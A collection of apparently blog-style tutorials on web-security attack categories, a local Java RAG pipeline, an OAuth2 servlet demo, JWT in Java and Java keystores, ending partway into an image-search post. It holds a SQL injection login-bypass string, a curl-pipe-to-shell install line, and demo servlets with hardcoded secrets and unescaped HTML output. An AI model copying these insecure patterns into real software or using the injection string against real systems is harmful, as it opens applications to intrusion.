Learn more: https://owasp.org/
When discussing application security, it’s hard to ignore OWASP.

OWASP is a nonprofit foundation that provides open-source resources, tools, and best practices to help developers build secure applications.

One of its most well-known contributions is the OWASP Top 10, which highlights the most critical web security risks.

OWASP Top 10 (2025)

Full list: https://owasp.org/Top10/2025/

A01: Broken Access Control
A02: Security Misconfiguration
A03: Software Supply Chain Failures
A04: Cryptographic Failures
A05: Injection
A06: Insecure Design
A07: Authentication Failures
A08: Software or Data Integrity Failures
A09: Security Logging and Alerting Failures
A10: Mishandling of Exceptional Conditions

These categories are widely used as a baseline for secure application design.

A Simple Classification of Cybersecurity Attacks

To make sense of the landscape, we can group common attacks into four practical categories:

Web Attacks
Authentication Attacks
Network Attacks
Human (Social Engineering) Attacks

Some threats span multiple areas, so we’ll also note a few cross-category cases.

🌐 Web Attacks (Application Layer)

These target application logic, APIs, and user input handling.

Injection Attacks (SQL, Command, LDAP)

→ Example: ' OR 1=1 -- login bypass
Cross-Site Scripting (XSS)

→ Injecting malicious JavaScript into web pages
Cross-Site Request Forgery (CSRF)

→ Forcing a logged-in user to perform unintended actions
Broken Access Control

→ Accessing unauthorized data (e.g., changing /user/123 to /user/124)
Security Misconfiguration

→ Default credentials, open ports, debug settings
Insecure Deserialization

→ Executing malicious code via manipulated serialized objects

🔑 Authentication Attacks

These focus on compromising login systems and user identities.

Brute Force / Dictionary Attacks
Session Hijacking / Fixation
Rainbow Table Attacks (password hash cracking technique)

🧠 Network Attacks

These target communication between systems.

Man-in-the-Middle (MITM)

→ Intercepting data in transit
Denial of Service (DoS / DDoS)
→ Overwhelming systems to make them unavailable

🧑‍💻 Human Attacks (Social Engineering)

These exploit human behavior rather than systems.

Phishing (Email, SMS, Voice)

→ Trick users into revealing sensitive data
💡 These are among the most successful real-world attacks.

🔄 Cross-Category / Special Cases

Some threats don’t fit neatly into one category:

Malware (virus, ransomware, spyware)
Zero-day exploits (attacks on unknown vulnerabilities) These can impact multiple layers—from applications to networks to users.

A Quick Example: How Vulnerabilities Start in Code

At this point, you might be wondering:
“These attacks sound serious—but how do they relate to the code we write every day?”

Let’s look at a simple backend example that illustrates how easily security vulnerabilities can be introduced.

This example focuses on password handling, but the same principle applies across all categories—small implementation choices can introduce major vulnerabilities.

Security vulnerabilities are often not caused by complex systems—but by small, overlooked decisions in everyday code.

❌ Insecure Approach: Plain Text Storage

String password = "admin123";
String stored = password; // storing plain text ❌

If a database is compromised, attackers immediately gain access to user passwords.

⚠️ Slightly Better: Hashing (But Still Weak)

MessageDigest md = MessageDigest.getInstance("SHA-256");
byte[] hash = md.digest(password.getBytes());

Hashing improves security, but it’s still vulnerable to precomputed attacks (like rainbow tables).

✅ Better Approach (Conceptual)

String saltedPassword = password + randomSalt;

Adding randomness makes attacks significantly harder.

We’ll explore why this matters in detail when we dive into authentication attacks in the next article.

Final Thoughts

Cybersecurity isn’t just about preventing attacks—it’s about building systems that are resilient by design.

As we’ve seen:

Attacks can target applications, networks, and even people
Many vulnerabilities originate from small design or coding decisions
Understanding attack patterns is the first step toward preventing them

What’s Next?
In the next article, we’ll take a deeper look at authentication attacks, including:

How attackers crack passwords
What rainbow table attacks are
Why techniques like salting are critical

Build a RAG Pipeline in Java (Text Vector LLM, No Paid APIs)

Sanjay Ghosh — Wed, 01 Apr 2026 23:23:34 +0000

Ever asked an LLM a question about your own data and received an incorrect or generic answer?

That’s because Large Language Models (LLMs) don’t know your private data.

In this article, we’ll build a complete Retrieval-Augmented Generation (RAG) pipeline using:

Java
PostgreSQL (with vector support)
Ollama (local LLM + embeddings)

👉 No OpenAI / No paid APIs
👉 Fully local
👉 Practical and production-relevant

🧠 What is RAG?

Retrieval-Augmented Generation (RAG) is an architecture that improves LLM responses by:

Retrieving relevant data from a knowledge source
Passing that data to the LLM
Generating an answer grounded in that context

In simple terms:

Instead of guessing, the model first looks up relevant information and then answers.

🔍 Why Do We Need RAG?

LLMs are powerful, but they have limitations:

❌ They don’t know your private/company data
❌ Their knowledge is static
❌ They can hallucinate

RAG solves this by combining:

Your data (database)
Smart retrieval (vector search)
LLM reasoning (generation)

📊 RAG Flow (This Project)

We will implement this pipeline:
Text → Embedding → Store in DB

Query → Embedding
↓
Vector Search (Top K)
↓
Pass to LLM
↓
Final Answer

⚙️ Prerequisites

1. Install PostgreSQL

Make sure PostgreSQL is installed and running.

2. Install Ollama (Local LLM)

sudo apt-get install zstd
curl -fsSL https://ollama.com/install.sh | sh

3. Pull Required Models

# LLM (for answer generation)
ollama pull llama3

# Embedding model
ollama pull nomic-embed-text

4. Verify Installation

ollama run llama3
If it responds, you’re ready.

🟢 Phase 1: Indexing (Store Data)

In this phase, we:

Convert text → vector (embedding)
Store it in PostgreSQL

Why Embeddings?

Embeddings convert text into numbers so we can measure similarity.
Example:
"OAuth authentication" → [0.12, -0.98, 0.45, ...]

Database Table

CREATE TABLE text_embeddings ( id SERIAL PRIMARY KEY, content TEXT, embedding VECTOR(768) );

Key Class: EmbeddingService.java

Calls Ollama
Converts text → vector

Snippet

ClassicHttpResponse response = (ClassicHttpResponse) Request.post("http://localhost:11434/api/embeddings")
                .bodyString(body.toString(), ContentType.APPLICATION_JSON)
                .execute()
                .returnResponse();

This returns a numerical vector representation of the input text, which we store in the database.

Key Class: StorageService.java

Stores text + embedding into PostgreSQL

PreparedStatement ps = conn.prepareStatement(
            "INSERT INTO text_embeddings (content, embedding) VALUES (?, ?::vector)"
        );

        ps.setString(1, text);
        ps.setString(2, vector);

        ps.executeUpdate();

Each piece of text is stored along with its vector representation.

🔵 Phase 2: Query (RAG Flow)

Step 1: User Query

"What is OAuth?"

Step 2: Convert Query → Embedding

Same process as storing text.

Step 3: Retrieve Relevant Data

SELECT content
FROM text_embeddings
ORDER BY embedding <-> ?::vector
LIMIT 3;
👉 This finds the most similar text chunks

Key Class: Retriever.java

This is the R (Retrieval) in RAG.

        PreparedStatement ps = conn.prepareStatement(
            """
            SELECT content
            FROM text_embeddings
            ORDER BY embedding <-> ?::vector
            LIMIT ?
            """
        );

        ps.setString(1, vector);
        ps.setInt(2, topK);

        ResultSet rs = ps.executeQuery();

Step 4: Generate Answer Using LLM

We pass retrieved data to the LLM:

Context:
OAuth 2.0 is an authorization framework...

Question:
What is OAuth?

👉 The LLM generates a clean answer.

Key Class: LLMService.java

This is the G (Generation) in RAG.
Passing Context to the LLM

        String prompt = """
                        Answer briefly in 2-3 sentences.

                        Context:
                        %s

                        Question:
                        %s
                        """.formatted(context, query);

We inject retrieved data into the prompt so the LLM generates grounded answers.

🧪 Sample Output
--- Retrieved Context ---
OAuth 2.0 is an authorization framework.
JWT is used for secure authentication.

--- Final Answer ---
OAuth is an authorization framework used to grant access to resources...
🧠 What’s Really Happening?

This is the most important part to understand:

Component Role
Database Stores knowledge
Retriever Finds relevant information
LLM Generates answer

👉 The LLM does NOT retrieve data
👉 The database does NOT generate answers

💻 Full Code

The project includes:

EmbeddingService.java
StorageService.java
Retriever.java
LLMService.java
RAGApp.java
pom.xml

👉 GitHub Repository

https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI/RAG

🚀 Why This Approach is Powerful

Works with your own data
Reduces hallucination
Fully offline (with Ollama)
Production-ready pattern

✅ Conclusion

We built a complete RAG pipeline using Java, PostgreSQL, and Ollama.

This approach combines:

Your data
Smart retrieval
LLM reasoning

Result:
Accurate, context-aware answers using your own knowledge base.

Understanding OAuth2 Flow with a Complete Java Servlet Demo (Step-by-Step)

Sanjay Ghosh — Wed, 25 Mar 2026 21:30:07 +0000

OAuth2 is everywhere.

“Login with Google”
“Continue with GitHub”
“Sign in with Microsoft”

We use it daily—but when it comes to explaining how it actually works, things quickly get confusing.

Most tutorials either:

Explain only the theory ❌
Or show isolated code without context ❌

Very few connect the full flow end-to-end.

🎯 What This Article Does Differently

In this article, we will:

Break down the 4 core actors
Walk through the entire OAuth2 flow
Map each step to working Java servlet code
Build a complete runnable demo

🧠 The Key Idea (Read This First)

OAuth2 is not about authentication.

It is about delegating access.

Instead of giving your username/password to an application, you allow it to access your data using a token issued by a trusted server.

🔷 Actors in OAuth2

This framework involves four key roles:

1. Resource Owner (User)

The user who owns the data
Grants or denies access

2. Client (Application)

The application requesting access to user data

3. Authorization Server

Authenticates the user
Issues authorization code and access token

4. Resource Server

Hosts protected data
Validates access tokens before responding

🔷 Real-World Example

A common example is “Login with Google”.

User → You
Client → Airbnb
Authorization Server → Google
Resource Server → Google APIs

Flow:

You click “Login with Google”
You are redirected to Google
You login and click Allow
Google sends a **code **to the client
Client exchanges code for token
Client fetches your data using the token

👉 This is exactly what we will implement.

🔷 High-Level Flow

Client requests authorization from the user
User authenticates and grants/denies access
Authorization Server returns an authorization code
Client exchanges code for access token
Client uses access token to call Resource Server
Resource Server validates token and returns data

🔷 Endpoints in This Demo

Endpoint	Role
/login	Starts OAuth flow (Client)
/authorize	User login + consent (Authorization Server)
/callback	Receives authorization code (Client)
/getToken	Helper to call token endpoint
/token	Issues access token
/data	Protected API (Resource Server)

🔷 Full Flow Overview

/login
→ redirect to /authorize
→ user login + allow
→ /callback (gets code)
→ /token (gets access token)
→ /data (uses token)

🔷 Step-by-Step Flow with Code

Full implementation is available in the GitHub repository at the end of this article.
🟢 Step 1: /login → Start Flow

LoginServlet.java

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class LoginServlet
 */
@WebServlet("/login")
public class LoginServlet extends HttpServlet {
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String redirect = "http://172.21.236.75:9090/oauth/authorize?" +
                "response_type=code&client_id=test&redirect_uri=http://172.21.236.75:9090/oauth/callback";

        resp.sendRedirect(redirect);
    }
}

This is the entry point. It redirects the user to the Authorization Server.

resp.sendRedirect("http://host/oauth/authorize?...");

👉 This is how the Client requests authorization from the User.

🟢 Step 2: /authorize → User Login & Consent

AuthorizeServlet.java

Displays login form
Accepts username/password
Allows user to Allow **/ **Deny

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class AuthorizeServlet
 */
@WebServlet("/authorize")
public class AuthorizeServlet extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
        resp.setContentType("text/html");
        resp.getWriter().write(
            "<form method='post'>" +
            "User: <input name='username'/><br/>" +
            "Pass: <input name='password' type='password'/><br/>" +
            "<button name='action' value='allow'>Allow</button>" +
            "<button name='action' value='deny'>Deny</button>" +
            "<input type='hidden' name='redirect_uri' value='" + req.getParameter("redirect_uri") + "'/>" +
            "</form>"
        );
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String action = req.getParameter("action");
        String redirectUri = req.getParameter("redirect_uri");

        if ("deny".equals(action)) {
            resp.sendRedirect(redirectUri + "?error=access_denied");
            return;
        }

        String user = req.getParameter("username");
        String pass = req.getParameter("password");

        if ("admin".equals(user) && "password".equals(pass)) {
            String code = "abc123"; // normally random + stored
            resp.sendRedirect(redirectUri + "?code=" + code);
        } else {
            resp.getWriter().write("Invalid login");
        }
    }
}

👉 Output:

Success → ?code=abc123
Failure → ?error=access_denied

🟢 Step 3: /callback → Client Receives Code

CallbackServlet.java

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class CallbackServlet
 */
@WebServlet("/callback")
public class CallbackServlet extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String code = req.getParameter("code");

        if (code == null) {
            resp.getWriter().write("Authorization failed");
            return;
        }
        resp.setContentType("text/html");
        resp.getWriter().write(
            "<h3>Authorization Code: " + code + "</h3>" +
            "<a href='/oauth/getToken?code=" + code + "'>Get Access Token</a>"
        );
    }
}

👉 This is the authorization code, a temporary credential.

🟢 Step 4: /getToken → Prepare Token Request

GetTokenServlet.java

Creates a form to call /token:

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class GetTokenServlet
 */
@WebServlet("/getToken")
public class GetTokenServlet extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String code = req.getParameter("code");
        resp.setContentType("text/html");
        resp.getWriter().write(
            "<form method='post' action='/oauth/token'>" +
            "<input name='code' value='" + code + "'/><br/>" +
            "<input name='client_id' value='test'/><br/>" +
            "<input name='client_secret' value='secret123'/><br/>" +
            "<button type='submit'>Exchange Code for Token</button>" +
            "</form>"
        );
    }
}

👉 In real systems, this happens server-to-server, not via UI.

🟢 Step 5: /token → Exchange Code for Token

TokenServlet.java

package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class TokenServlet
 */
@WebServlet("/token")
public class TokenServlet extends HttpServlet {

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String clientId = req.getParameter("client_id");
        String clientSecret = req.getParameter("client_secret");

        if (!"test".equals(clientId) || !"secret123".equals(clientSecret)) {
            resp.setStatus(401);
            resp.getWriter().write("Invalid client");
            return;
        }


        String code = req.getParameter("code");

        if (!"abc123".equals(code)) {
            resp.setStatus(400);
            resp.getWriter().write("Invalid code");
            return;
        }

        // Simple JWT-like token (replace with real JWT later)
        String token = "header.payload.signature";

        resp.setContentType("application/json");
        resp.getWriter().write("{\"access_token\":\"" + token + "\"}");
    }
}

Returns:
{
"access_token": "header.payload.signature"
}
👉 This is the Access Token

🟢 Step 6: /data → Access Protected Resource

DataServlet.java
package com.oauth.demo;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;

/**
 * Servlet implementation class DataServlet
 */
@WebServlet("/data")
public class DataServlet extends HttpServlet {

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {

        String auth = req.getHeader("Authorization");

        if (auth == null || !auth.startsWith("Bearer ")) {
            resp.setStatus(401);
            resp.getWriter().write("Unauthorized");
            return;
        }

        String token = auth.substring(7);

        if (!"header.payload.signature".equals(token)) {
            resp.setStatus(403);
            resp.getWriter().write("Invalid token");
            return;
        }

        resp.getWriter().write("Secure Data for user: admin");
    }
}

👉 Client must call:
Authorization: Bearer header.payload.signature

If valid:
Secure Data for user: admin

🔷 What is the Access Token in this Demo?

In OAuth2, the access token is just a string. The specification does not enforce any particular format.

However, in most real-world systems, the access token is implemented as a JWT (JSON Web Token).

In this demo, we return a simplified token:

header.payload.signature

This mimics the structure of a JWT.

👉 For a detailed explanation of how JWT works (structure, signing, validation), you can refer to my earlier article:

Understanding JWT Authentication in Java with Encryption and Decryption
(https://dev.to/sanjayghosh/understanding-jwt-authentication-in-java-with-encryption-and-decryption-2ig7)

In a production system:

The Authorization Server generates a signed JWT
The Resource Server validates the JWT before granting access

This bridges the gap between OAuth2 (authorization framework) and JWT (token format).

🔷 Why This Flow Exists

Why not just send username/password to the client?
Because:

Security risks ❌
Third-party access problems ❌
No control over permissions ❌

OAuth2 solves this using:

Tokens
Delegated access
Controlled permissions

🔷 Common Mistakes

❌ Client handling user credentials
❌ Confusing code vs token
❌ Sending token in URL
❌ Thinking client validates token
❌ Skipping redirect-based flow ### 🔷 Important Notes

⚠️ 1. This is a simplified demo

Hardcoded values
No database
No real token security

⚠️ 2. Token is NOT a real JWT

header.payload.signature

👉 In real systems:

Token is a JWT
Signed and verified

⚠️ 3. Client Secret should NOT be exposed

In this demo:

Shown in UI ❌

In real OAuth:

Used only in backend communication ✅

⚠️ 4. Browser cannot send Authorization headers directly

Use:

curl
Postman
Java client

⚠️ 5. Resource Server must validate token

In real systems:

Verify signature
Check expiry
Validate issuer

🔷 Key Takeaways

OAuth2 is about delegation of access
Client never sees user password
Authorization Server issues tokens
Resource Server enforces access

Now that you understand the complete flow, let’s run it.

🔷 Try It Yourself

If you want to understand OAuth2 deeply, I highly recommend running this demo locally.

👉 GitHub Repository (complete working example with all servlets and configuration):

https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/OAUTH

Steps:

Clone the repository
Deploy it in Tomcat
Open /login in your browser
Follow the complete OAuth2 flow step by step

Hands-on practice will make the concepts much clearer than theory alone.
If you run into any issues while trying this locally, feel free to leave a comment—I’ll be happy to help.

🏁 Conclusion

OAuth2 may seem complex at first—but the core idea is simple:
👉 The client never gets your password
👉 The Authorization Server issues a token
👉 The Resource Server trusts that token

🔑 What You Built

You implemented:

Client
Authorization Server
Resource Server
Complete OAuth2 flow This is the same pattern used by Google and Microsoft.

🔗 OAuth2 + JWT

OAuth2 = how you get the token
JWT = what the token contains

⚠️ Production Note

Use tools like Keycloak or frameworks like Spring Boot for real systems.

Understanding JWT Authentication in Java with Encryption and Decryption

Sanjay Ghosh — Thu, 19 Mar 2026 20:19:51 +0000

JSON Web Token (JWT) is a widely used mechanism for securely transmitting information between systems.

JWT is commonly used in:
• API authentication
• Single Sign-On (SSO)
• Microservices communication

This article explains:

What JWT is
JWT structure
How encryption and signing works
How to generate and validate JWT in Java
A simple diagram explaining the flow

What is JWT?

JWT (JSON Web Token) is a compact, URL-safe token format used to securely transmit information between two parties. Refer RFC7519 .

A JWT contains claims (information) that are digitally signed and optionally encrypted.

JWT tokens are typically used after a user logs in successfully. The server generates a token and sends it back to the client. The client includes this token in future requests for authentication.

JWT Structure

A JWT consists of three parts separated by dots:

HEADER.PAYLOAD.SIGNATURE

Example JWT:

eyJhbGciOiJIUzI1NiJ9
.
eyJpc3MiOiJteS5jb21wYW55LmNvbSIsInN1YiI6ImpvaG4uZG9lIiwiaWF0IjoxNzczMTg0MTIwLCJleHAiOjE3NzMxODQ0MjAsImp0aSI6IjI1Y2JkNjVmLTYzODEtNGZiYi05YWMyLTk4ZTk0ZGYwYTI2YSJ9
.
UEG4iZhhtyG58V0Vcz-IHOL8MMPmDVqZdyRhoaTnYCI

Each part is Base64URL encoded. ()

1. Header

The header contains metadata about the token.

Example:

{"alg":"HS256"}

alg indicates the algorithm used to sign the token.

Common algorithms include:

HS256
RS256
ES256

2. Payload

The payload contains claims, which are pieces of information about the user.
Example:
{
"iss":"my.company.com",
"sub":"john.doe","iat":1773184120,
"exp":1773184420,
"jti":"25cbd65f-6381-4fbb-9ac2-98e94df0a26a"}
}

Note:
JWT payload is not encrypted by default. It is only Base64 encoded.
Anyone can decode the payload, but the signature prevents tampering.

3. Signature

The signature ensures the token has not been modified.
Example process:
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
If someone modifies the payload, the signature verification will fail.

JWT Authentication Flow

Typical authentication flow:

User logs in with username and password
Server validates credentials
Server generates a JWT
Client stores the token
Client sends JWT in Authorization header
Server verifies the token

Example header in API request:

Authorization: Bearer

Generating JWT in java

(Example Code)

package jwt;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.security.Key;
import java.time.Instant;
import java.time.temporal.ChronoUnit;
import java.util.Date;
import java.util.UUID;
import java.nio.charset.StandardCharsets;
public class JwtTokenGenerator {
    /**
     * Generates a signed JWT token using a shared secret key.
     * @param issuer The issuer of the token.
     * @param subject The subject of the token (e.g., user ID).
     * @param secretKey The secret key for signing (must be at least 256 bits).
     * @return The compact JWT string.
     */
    public static String generateJwtToken(String issuer, String subject, String secretKey) {
        // Define the key from the secret string
        // The key should be securely managed and stored
        Key key = Keys.hmacShaKeyFor(secretKey.getBytes(StandardCharsets.UTF_8));

        Instant now = Instant.now();

        // Build the JWT
        String jwt = Jwts.builder()
                .setIssuer(issuer) // Set the issuer claim
                .setSubject(subject) // Set the subject claim
                .setIssuedAt(Date.from(now)) // Set the issued at time
                .setExpiration(Date.from(now.plus(5L, ChronoUnit.MINUTES))) // Set expiration for 5 minutes later
                .setId(UUID.randomUUID().toString()) // Set a unique ID for the token
                .signWith(key) // Sign the JWT with the key
                .compact(); // Compacts the JWT into its final string form

        return jwt;
    }

    public static void main(String[] args) {
        // Example usage: replace with your actual values
        String myIssuer = "my.company.com";
        String mySubject = "john.doe";
        // Key must be sufficiently long for HS256 (e.g., 32 characters or more for 256 bits)
        String mySecretKey = "aVerySecureAndLongSecretKeyForSigningJwts";

        String token = generateJwtToken(myIssuer, mySubject, mySecretKey);
        System.out.println("Generated JWT Token:");
        System.out.println(token);
    }
}

The above code will create the token.

Validating JWT in Java
Example Code

package jwt;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;
import java.nio.charset.StandardCharsets;

public class JWTValidation {
    private static final String SECRET_KEY = "aVerySecureAndLongSecretKeyForSigningJwts";
        public static Claims validate(String token) {
                 return Jwts.parser().verifyWith(Keys.hmacShaKeyFor(SECRET_KEY.getBytes(StandardCharsets.UTF_8))).build().parseSignedClaims(token).getPayload();
        }

    public static void main(String[] args) {
            if (args.length < 1 ) {
                    System.out.println("Please provide the token String as a parameter");
                    return;
            }
            String tokenString = args[0];
            Claims claims = validate (tokenString);
            System.out.println("Subject: " + claims.getSubject());
            System.out.println("Issuer: " + claims.getIssuer());
            System.out.println("Issued At: " + claims.getIssuedAt());
            System.out.println("Expiration: " + claims.getExpiration());
            System.out.println("ID: " + claims.getId());
            System.out.println("Audience: " + claims.getAudience());
   }


}

By running the above code you can pass the generated token to test the validity.

Decoding JWT
Java Example

package jwt;

import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class JWTTokenDecoder {
    public static void decodeJWT(String token) {
        String[] parts = token.split("\\.");
        if (parts.length != 3) {
            throw new IllegalArgumentException("Invalid JWT token format");
        }

        Base64.Decoder decoder = Base64.getUrlDecoder();

        // Decode Header
        String header = new String(decoder.decode(parts[0]), StandardCharsets.UTF_8);
        System.out.println("JWT Header: " + header);

        // Decode Payload (Body)
        String payload = new String(decoder.decode(parts[1]), StandardCharsets.UTF_8);
        System.out.println("JWT Body: " + payload);

        // The signature part (parts[2]) is a hash and cannot be "decoded" into a readable string in the same way.
        // It's used for signature verification.
    }

    public static void main(String[] args) {
            if (args.length < 1 ) {
                    System.out.println("Please provide the token String as a parameter");
                    return;
            }
            String jwtToken = args[0];
            decodeJWT(jwtToken);
    }
}

You can pass the JWT and get the decoded value

JWT Encryption vs Signing

Many developers confuse signing and encryption.
Signing ensures:
• Token integrity
• Token authenticity

Encryption ensures:
• Token confidentiality

Most JWT tokens are signed but not encrypted.

Security Best Practices

When using JWT in production:

Never store sensitive data in payload
Always use HTTPS
Set token expiration (exp claim) Refer: Claims , setExpiration
Rotate secret keys periodically
Validate token signature on every request

When Should You Use JWT?

JWT works well when:

Building stateless APIs
Implementing microservices authentication
Creating Single Sign-On systems
Protecting REST APIs

Source Code

All source files are available on GitHub:
Github source codes

Conclusion

JWT provides a simple and secure way to transmit claims between systems.

Understanding how JWT works internally, including header, payload, and signature is important when implementing authentication systems in modern applications.

By using proper signing, validation, and expiration strategies, JWT can be a powerful tool for secure API authentication.

Keystore vs Truststore — How SSL Certificate Chain Actually Works (with java Examples)

Sanjay Ghosh — Sun, 15 Mar 2026 20:18:35 +0000

When you see the 🔒 HTTPS lock icon in your browser, something important has already happened behind the scenes.

Your browser has verified:

The identity of the server
The certificate chain
The trusted Certificate Authority

But where are these certificates stored?
And how does the verification actually work?

This is where Keystore and Truststore come in.

In this article we will cover:

What a Keystore is
What a Truststore is
How the certificate chain works
How they are used during the TLS handshake
Examples using keytool
Common SSL handshake errors
A quick look at Mutual TLS (mTLS) (two-way TLS (or two-way SSL)

🧾 Certificate Creation Flow

Before talking about keystore and truststore, let's see how a certificate is created.

The server generates a public/private key pair.
It creates a CSR (Certificate Signing Request).
The CSR is sent to a Certificate Authority (CA).
The CA verifies the identity of the organization.
The CA issues a leaf certificate.
The certificate is signed by an Intermediate CA.
The intermediate CA is signed by a Root CA.

This produces a certificate chain.
Example chain:

Root CA ↓ Intermediate CA 1 ↓ Intermediate CA 2 ↓ Leaf Certificate (Server Certificate)
Each certificate is digitally signed by the one above it.

🏪 What is a Truststore?

A Truststore is a secure repository that contains certificates from trusted entities.

These certificates are used to verify the identity of remote systems during secure communication.

A truststore typically contains:

Trusted Root Certificates

These are:

Self-signed certificates
Issued by trusted Certificate Authorities
Preinstalled in operating systems, browsers, or Java runtimes

Intermediate CA Certificates

Intermediate certificates help bridge the chain of trust between a root CA and the server certificate.

🎯 Purpose of Truststore

The truststore is used to validate certificates presented by other parties.

Example:
When a browser connects to:
https://myserver.com

The browser:

Receives the server’s certificate
Builds the certificate chain
Verifies the chain up to a trusted root certificate in its truststore

If the verification succeeds, the connection is trusted.
If not, the browser displays a certificate warning.

🔑 What is a Keystore?

A Keystore is a secure repository that stores your own cryptographic identity.

It usually contains:

Server private key
Server leaf certificate
Sometimes intermediate certificates

Note: The private key stored in the keystore corresponds to the leaf certificate of the server.

The private key is used during the TLS handshake to prove ownership of the certificate.
It must never be shared.

🔄 How Keystore and Truststore Work Together

During the TLS handshake:

Step 1 — Client connects to server

The client initiates a secure connection.

Step 2 — Server sends certificate chain

The server sends:
Leaf Certificate Intermediate Certificates

Step 3 — Client validates the chain

The client verifies:
Leaf Certificate ↓ Intermediate Certificate ↓ Root CA
The root CA must exist in the client's truststore.

Step 4 — Secure connection established

If the certificate chain is valid and trusted, the TLS session is established.

☕ Java Example — Keystore

In Java applications, keystores are commonly stored as:
.jks .p12

Create a Keystore

keytool -genkeypair \ -alias myserver \ -keyalg RSA \ -keysize 2048 \ -keystore keystore.jks

This above command generates:

A private key
A self-signed certificate

View Keystore Contents

keytool -list -v -keystore keystore.jks
Example output:
Alias name: myserver Entry type: PrivateKeyEntry Certificate chain length: 1

☕ Java Example — Truststore

Java provides a default truststore which is:
$JAVA_HOME/lib/security/cacerts
Default password:
changeit
List certificates in the truststore:
keytool -list -keystore $JAVA_HOME/lib/security/cacerts
This truststore contains nearly two hundred trusted CA certificates.

Import Certificate into a Truststore

When the certificate is trusted by the Truststore
Example
keytool -importcert \ -alias myserver \ -file server.crt \ -keystore truststore.jks

⚠️ SSL Handshake Errors Related to Certificate Issues

Many SSL handshake failures occur because of certificate chain or trust problems.
Here are some of the most common errors.

SSL Handshake Failed / Error 525

This indicates that the client and server failed to establish a secure connection.
A common cause is an incomplete certificate chain, where the server does not send the required intermediate certificates.

Certificate Unknown (Java / JSSE)

In Java applications, you may see errors such as:
javax.net.ssl.SSLHandshakeException: PKIX path building failed
This means the client cannot verify the certificate chain, usually because the issuing CA is not present in the truststore.

ERR_CERT_AUTHORITY_INVALID (Browser)

Browsers show this error when:

The root CA is not trusted
The intermediate certificate is missing
The certificate is self-signed
The certificate chain was issued by an authority that is not trusted
This error commonly appears in:
SQL Server connections
Internal client-server applications
It occurs when the client cannot recognize the certificate authority that signed the server certificate.

SSL error: 0x8009001a (SChannel)

In Windows systems using SChannel, this error usually indicates:

An invalid certificate
A broken certificate chain
A trust validation failure

Key Takeaway

Most SSL handshake errors occur because:

The client truststore does not trust the CA
The server did not send the full certificate chain
The certificate has expired or is invalid Understanding keystore and truststore helps quickly diagnose these issues.

🔐 Mutual TLS (mTLS) (Or two-way TLS (or two-way SSL)

In standard TLS:
Client verifies Server
In Mutual TLS (mTLS):
Client verifies Server Server verifies Client

Both sides present certificates.
Flow:

Client connects to server
Server presents its certificate
Client verifies it using its truststore
Server requests client certificate
Client sends its certificate
Server verifies it using its truststore mTLS is commonly used in:

Microservices architectures
Banking systems
Internal APIs
Zero-trust security environments

🧠 Summary

Keystore: Stores private keys and certificates used to prove identity
Truststore: Stores trusted CA certificates used to verify others
Certificate Chain: Establishes trust from server certificate to a trusted root CA

Every secure TLS connection depends on this chain of trust.

📌 Final Thought

Next time you see the 🔒 lock icon in your browser, remember:
Behind that simple symbol is a complex system involving:

certificate chains
keystores
truststores
certificate authorities

—all working together to ensure secure communication.

From Image to Vector: Building Image Similarity Search with Python and MySQL

Sanjay Ghosh — Sun, 08 Mar 2026 19:24:17 +0000

Modern applications increasingly rely on vector embeddings to search and compare data such as text, images, and audio.
For example:

finding visually similar images
semantic document search
recommendation systems

In this article we will:

Convert an image to a vector embedding
Store the vector in MySQL
Compare images using vector similarity

Stacks used:

Python
sentence-transformers
PyTorch
MySQL vector support

Final Result

After storing the vectors in MySQL we can run a similarity query.
Example output:
+------------+-------------+ | image_name | similarity | +------------+-------------+ | img/t3.jpg | 1.00 | | img/t2.jpg | 0.96 | | img/t1.jpg | 0.96 | | img/t4.jpg | 0.92 |

System Architecture

The overall pipeline is simple:

An image is processed by a multimodal embedding model
The model converts the image into a numerical vector
The vector is stored in MySQL
SQL queries compute similarity between vectors

AI → ML → DL → Neural Networks → LLM

Let’s briefly explain each level.

Artificial Intelligence (AI)

Artificial Intelligence refers to systems designed to simulate aspects of human intelligence, such as:

learning
reasoning
decision making
problem solving

Early AI systems (often called Good Old-Fashioned AI) did not involve learning. They relied on predefined rules.

Example:
IF humidity > 60% THEN alert

